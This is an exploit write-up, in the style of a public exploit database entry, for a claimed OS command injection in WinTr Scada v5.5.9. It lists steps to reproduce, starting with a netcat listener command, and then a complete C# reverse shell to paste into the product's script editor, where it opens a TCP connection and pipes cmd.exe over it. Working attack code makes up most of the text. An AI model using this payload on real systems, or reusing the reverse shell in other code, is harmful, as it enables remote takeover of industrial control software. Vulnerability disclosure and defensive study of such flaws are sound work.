WinTr Scada 5.5.9 Command Injection

Exploit Title: WinTr Scada v5.5.9 - OS Command Injection
    Discovered by: Ahmet Ümit BAYRAM
    Discovered Date: 17.04.2024
    Vendor Homepage: http://www.wintr.com.tr
    Software Link: https://www.fultek.com.tr/Download/WinTrScadaSQL2014x32.zip
    Tested Version: v5.5.9 (latest)
    Tested on: Windows 10 32bit
    Steps to Reproduce
    
    Set up a listener on your machine with nc.exe -vv -l -p 1337.
    Open WinTr Scada and click on New Project.
    Click Yes to save the project.
    Close the window that opens after saving.
    Go to Script Writer.
    Select CSharp from the top menu.
    Paste the payload below and click on Script Test and Run.
    Your reverse shell should now connect to the listener.
    
    Payload
    
    The following C# payload initiates a reverse shell connection to a
    specified IP and port (in this example, 127.0.0.1:1337).
    
    ```csharp
    using System;
    using System.IO;
    using System.Diagnostics;
    using System.Net.Sockets;
    using System.Text;
    
    namespace WinTr
    {
    class MainClass
    {
    StreamWriter streamWriter;
    
    public void Load()
    {
    try
    {
    TcpClient client = new TcpClient("127.0.0.1", 1337);
    Stream stream = client.GetStream();
    StreamReader rdr = new StreamReader(stream);
    streamWriter = new StreamWriter(stream);
    
    StringBuilder strInput = new StringBuilder();
    
    Process p = new Process();
    p.StartInfo.FileName = "cmd.exe";
    p.StartInfo.CreateNoWindow = true;
    p.StartInfo.UseShellExecute = false;
    p.StartInfo.RedirectStandardOutput = true;
    p.StartInfo.RedirectStandardInput = true;
    p.StartInfo.RedirectStandardError = true;
    
    p.OutputDataReceived += new DataReceivedEventHandler(CmdOutputDataHandler);
    p.Start();
    p.BeginOutputReadLine();
    
    while (true)
    {
    strInput.Append(rdr.ReadLine());
    p.StandardInput.WriteLine(strInput.ToString());
    strInput.Remove(0, strInput.Length);
    }
    
    rdr.Close();
    stream.Close();
    client.Close();
    }
    catch (Exception ex)
    {
    Console.WriteLine("An error occurred: " + ex.Message);
    }
    }
    
    private void CmdOutputDataHandler(object sendingProcess,
    DataReceivedEventArgs outLine)
    {
    if (!String.IsNullOrEmpty(outLine.Data))
    {
    try
    {
    streamWriter.WriteLine(outLine.Data);
    streamWriter.Flush();
    }
    catch (Exception err)
    {
    // Handle or log the error
    }
    }
    }
    } }